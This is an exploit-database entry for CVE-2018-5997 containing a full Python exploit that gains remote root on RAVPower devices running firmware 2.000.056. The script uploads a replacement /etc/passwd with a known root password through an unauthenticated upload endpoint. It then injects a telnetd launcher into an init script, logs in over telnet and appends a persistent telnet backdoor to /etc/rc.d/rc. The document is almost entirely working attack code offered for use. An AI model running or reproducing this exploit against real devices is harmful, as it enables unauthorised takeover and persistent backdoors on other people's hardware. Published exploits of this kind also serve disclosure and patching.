RAVPower 2.000.056 - Root Remote Code Execution



EKU-ID: 7299 CVE: 2018-5997 OSVDB-ID:
Author: Daniele Linguaglossa Published: 2018-01-25 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


""
 
# Exploit Title: RAVPower - remote root
# Date: 23/01/2018
# Exploit Authors: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5997
 
"""
 
import requests
import time
import telnetlib
 
 
PATH_PASSWD = "/etc"
FILE_PASSWD = "passwd"
PATH_VSTFUNC = "/etc/init.d"
FILE_VSTFUNC = "vstfunc"
FILE_RC = "/etc/rc.d/rc"
BACKDOOR_TERM = "export TERM=xterm"
BACKDOOR_TELNET = "/usr/sbin/telnetd &"
BASH_SHEBANG = "#!/bin/sh"
TELNETD = "/usr/sbin/telnetd -p 1111 &"
 
 
def upload(host, port, path, name, content):
    user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"
    path = "/upload.csp?uploadpath=%s&file=1515865637281" % path
    url ="http://{0}:{1}{2}".format(host,port,path)
    files = {'file' : ('%s' % name, content,'application/octet-stream')}
    headers = {
        "user-agent": user_agent
    }
    try:
        requests.post(url,headers=headers,files=files)
        return True
    except:
        return False
 
 
# root:admin
tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh
guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new
"""
 
tmp_vstfunc = """
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
# A function to stop a program.
killproc() {
    local base=${1##*/}
        local pid=
        pid=`pidof $base`
    local i
        if [ -n "$pid" ]; then
        for i in $pid ; do
            kill -KILL $i > /dev/null 2>&1
        done
        fi
        rm -f /var/run/$base.pid
        return 0
}
# A function to find the pid of a program.
pidofproc() {
    local base=${1##*/}
    #First try "/var/run/*.pid" files
    if [ -f "/var/run/$base.pid" ]; then
            local line p pid=
        read line < /var/run/$base.pid
        for p in $line ; do
               [ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p"
        done
    else
        pid=`pidof $1 || pidof $base`
    fi
    if [ -n "$pid" ]; then
                echo $pid
                return 0
        fi
    return 1
}
# Check if $pid (could be plural) are running
# Return : 0 run
#          1 stop
checkpid() {
    local i
    for i in $* ; do
        if [ -d "/proc/$i" ]; then
             return 0
        fi
    done
    return 1
}
# Check disk exist
checkdisk() {
        return $?
}
# save pid and log function
savesc() {
    local i=0
    if [ -n "$3" ]; then
        touch /var/run/$3.pid
    fi
    return $?
}
 
# A function check start of a program.
# return: 1  not exist
#         0  exist
checkonly() {
        local prgname=${1##*/}
        local pid=
        if [ -f "/var/run/$prgname.pid" ]; then
            pid=`pidof $prgname`
            if [ -n "$pid" ]; then
                return 0
            fi
            return 1
        else
            pid=`pidof $prgname`
            if [ -n "$pid" ]; then
                if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then
                    return 2
                fi
            fi
            return 2
        fi
 
}
# A function save etc to mtd.
# return: 1 failure
#         0 success
saveetc() {
        local ret=0
 
    /usr/sbin/etc_tools t > /dev/null 2>&1
    let ret=ret+$?
#   ret=$[$ret + $?]
    /usr/sbin/etc_tools p > /dev/null 2>&1
    let ret=ret+$?
#   ret=$[$ret + $?]
 
    return $ret
}
# A function resume mtd to etc.
# return: 1 failure
#         0 success
resumeetc() {
        local ret=0
 
    /usr/sbin/etc_tools b > /dev/null 2>&1
    let ret=ret+$?
#   ret=$[$ret + $?]
    /usr/sbin/etc_tools u > /dev/null 2>&1
    let ret=ret+$?
#   ret=$[$ret + $?]
 
    return $ret
}
 
# Create a lock for /var/lock
AppScriptLock() {
    if [ -f /var/lock/$1.pid ]; then
        return 0
    else
        touch /var/lock/$1.pid
        return 1
    fi
}
 
# Check a lock for /var/lock
AppScriptChkLock() {
    if [ -f /var/lock/$1.pid ]; then
        return 1
    else
        return 0
    fi
}
 
# Delete a lock for /var/lock
AppScriptUnlock() {
    if [ -f /var/lock/$1.pid ]; then
        rm -rf /var/lock/$1.pid
    fi
    return 1
}
 
DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade"
ETCPATH="/boot/tmp"
ETCBKPATH="/boot/tmp/etcbackup"
DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar"
DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz"
ETCFILE="/boot/tmp/etc.tar"
ETCBKFILETAR="/boot/tmp/etcbackup.tar"
ETCBKFILE="/boot/tmp/etcbackup.tar.gz"
FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu"
FILELIST1="hostname"
backup_etc() {
    rm $ETCBKFILETAR -rf
        rm $ETCBKFILE -rf
        rm $ETCBKPATH -rf
 
        #   if [ ! -e $DISKPATH ];then
         #          mkdir -p -m 755 $DISKPATH
        #   fi
        if [ ! -e $ETCBKPATH ]; then
            mkdir -p -m 755 $ETCBKPATH
        fi
if [ -z $1 ]; then
    FILELISTALL=$FILELIST
else
    if [ $1 == "resume" ]; then
        FILELISTALL=$FILELIST1
    fi
fi
        for f in $FILELISTALL
                do
                        if [ -d /etc/$f ]; then
                                cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1
                        else
                                if [ "$f" == "samba/smbpasswd" ]; then
                                        if [ ! -e $ETCBKPATH/samba ]; then
                                                mkdir -p $ETCBKPATH/samba
                                        fi
                                        cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
                                elif [ "$f" == "fileserv/lighttpd.user" ]; then
                                        if [ ! -e $ETCBKPATH/fileserv ]; then
                                                mkdir -p $ETCBKPATH/fileserv
                                        fi
                                        cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
                                elif [ "$f" == "serversman/cloud.conf" ]; then
                                        if [ ! -f /etc/$f ]; then
                                                continue
                                        fi
                                        if [ ! -e $ETCBKPATH/serversman ]; then
                                                mkdir -p $ETCBKPATH/serversman
                                        fi
                                        cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
                                else
                                    cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1
                fi
                        fi
                done
        tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1
        gzip $ETCBKFILETAR
        if [ -f $ETCBKFILE ]; then
            cp -rf $ETCBKFILE $DIDKETCBKFILE
        fi
}
 
 
backup_etc_telnet() {
    rm $ETCBKFILETAR -rf
        rm $ETCBKFILE -rf
        rm $ETCBKPATH -rf
 
        #   if [ ! -e $DISKPATH ];then
         #          mkdir -p -m 755 $DISKPATH
        #   fi
        if [ ! -e $ETCBKPATH ]; then
            mkdir -p -m 755 $ETCBKPATH
        fi
if [ -z $1 ]; then
    FILELISTALL=$FILELIST
else
    if [ $1 == "resume" ]; then
        FILELISTALL=$FILELIST1
    fi
fi
        touch $ETCBKPATH/telnetflag
        tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1
        gzip $ETCBKFILETAR
        if [ -f $ETCBKFILE ]; then
            cp -rf $ETCBKFILE $DIDKETCBKFILE
        fi
}
 
 
 
 
 
 
 
 
 
restore_etc() {
        if [ -f $ETCBKFILE ]; then
            gunzip $ETCBKFILE
            tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1
            for f in $FILELIST
            do
                            if [ -d /etc/$f ]; then
                    echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
                                    #cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
                                    cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1
                            else
                                    if [ "$f" == "samba/smbpasswd" ]; then
                        echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
                                            cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
                                    elif [ "$f" == "fileserv/lighttpd.user" ]; then
                        echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
                                            cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
                                        elif [ "$f" == "serversman/cloud.conf" ]; then
                                                if [ ! -f $ETCBKPATH/$f ]; then
                                                        continue
                                                fi
                                                echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
                                                cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
                                    else
                        echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
                        cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
                    fi
                fi
            done
            if [ -f $ETCBKPATH/telnetflag ]; then
                touch /etc/telnetflag
            fi
        fi
}
 
# A function check usb flag
# return: 0 service start
#         1 service stop
check_usb_flag() {
        local ret=0
 
        if [ -e "/proc/usbwrite" ];then
                ret=`cat /proc/usbwrite`
        fi
 
        return $ret
}
 
###########################################################################
#
# LED operations
#
###########################################################################
led_wink_start() {
    LED=`cat /proc/vsled`
    if [ $LED -eq 3 ]; then
        pioctl wifi 2
    fi
}
led_wink_stop() {
    LED=`cat /proc/vsled`
    if [ $LED -eq 2 ]; then
        pioctl wifi 3
    fi
}
led_wink_chk() {
    LED=`cat /proc/vsled`
    if [ $LED -eq 2 ]; then
        return 1
    else
        return 0
    fi
}
 
###########################################################################
#
# Flag operation
#
###########################################################################
flagctl_get() {
    if [ -e /dev/sda ]; then
        trynum=0
        while [ $trynum -lt 3 ]; do
            retval=`/usr/sbin/flagctl disk get $1`
            if [ ! -z $retval ]; then
                return $retval
            fi
            let trynum=trynum+1
#           trynum=$[$trynum+1]
            sleep 1
        done
    fi
}
 
flagctl_set() {
    if [ -e /dev/sda ]; then
        trynum=0
        while [ $trynum -lt 3 ]; do
            /usr/sbin/flagctl disk set $1 $2
            flagctl_get $1
            if [ "$?" -eq "$2" ]; then
                sync
                return 1
            fi
            let trynum=trynum+1
#           trynum=$[$trynum+1]
            sleep 1
        done
    fi
    return 0
}
 
###########################################################################
#
# string function
#
###########################################################################
str_func_strstr () {
    if [ ${#2} -eq 0 ];then
        echo "$1"
        return 0
    fi
    case "$1" in
        *$2*)
            return 1
            ;;
        *)
            return 0
            ;;
    esac
}
 
dev_test_host() {
    nordev=`echo $1 | cut -c -3`
    s_str=`ls -l /sys/block/$nordev/device`
    str_func_strstr "$s_str" "host0"
    if [ $? -eq 1 ]; then
        return 1
    fi
    return 0;
}
 
dev_test_usb() {
        nordev=`echo $1 | cut -c -3`
        s_str=`ls -l /sys/block/$nordev/device`
        str_func_strstr "$s_str" "usb"
        if [ $? -eq 1 ]; then
                return 1
        fi
        return 0;
}
 
###########################################################################
#
# Permission check functions
#
###########################################################################
# $1: device name
# $2: host/usb
# $3: if recursive, 1: enable, 0: disable
perm_change_start() {
    permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`
    if [ ! -z $permpid ]; then
        return 1;
    else
        /usr/sbin/permchange $1 $2 $3 &
    fi
}
 
# $1: device name
# $2: if recursive, 1: enable, 0: disable
perm_chk_start() {
    dev_test_host $1
    if [ $? -eq 1 ]; then
        perm_change_start $1 host $2
    else
        perm_change_start $1 usb $2
    fi
}
 
perm_chk_stop() {
    permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`
    if [ ! -z $permpid ]; then
        for ppid in $permpid ; do
            kill -9 $ppid > /dev/null 2>&1
        done
    fi
}
 
###########################################################################
# Time function
###########################################################################
timedate_settosys() {
    if [ -e /etc/timedate ]; then
            TIMESET=`cat /etc/timedate`
            date -s $TIMESET
    fi
}
 
timedate_save() {
    date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate
}
"""
print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n"
host = raw_input("Insert Ravpower IP: ")
print "[*] Step 1 -> pwning /etc/passwd"
if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd):
    print "[-] Filed to pwn /etc/passwd maybe fixed?"
    exit(0)
print "[*] Step 2 -> pwning /etc/init.d/vstfunc"
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc):
    print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?"
    exit(0)
t = None
print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)"
while True:
    try:
        print "[*] Step 3-1 -> Trying to telnet..."
        t = telnetlib.Telnet(host, port=1111)
        break
    except:
        time.sleep(5)
t.read_until(": ")
t.write("root\n")
t.read_until(": ")
t.write("admin\n")
t.read_until("# ")
print "[*] Step 4 -> pwning /etc/rc.d/rc"
t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC))
t.read_until("# ")
t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC))
t.read_until("# ")
print "[*] Step 4-1 -> pwned!"
print "[*] Step 5 -> Saving settings"
t.write("/usr/sbin/etc_tools p\n")
t.read_until("# ")
print "[*] Step 5-1 -> Done!"
print "[*] Step 6 -> Starting telnetd"
t.write("/usr/sbin/telnetd &\n")
t.read_until("# ")
print "[*] Step 6-1 -> Done!"
print "[*] Step 7 -> Killing old telnet"
t.write("ps aux   |grep 1111  | awk '{print $2}' | xargs kill -9\n")
t.read_until("# ")
print "[*] Step 7-1 -> Done!"
print "[*] Step 8 -> Restoring vstfunc"
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc):
    print "[-] Filed to pwn /etc/init.d/vstfunc fixed?"
    exit(0)
print "[*] Step 8-1 -> Done!"
print "[!] PWNAGE COMPLETED! connect with root:admin"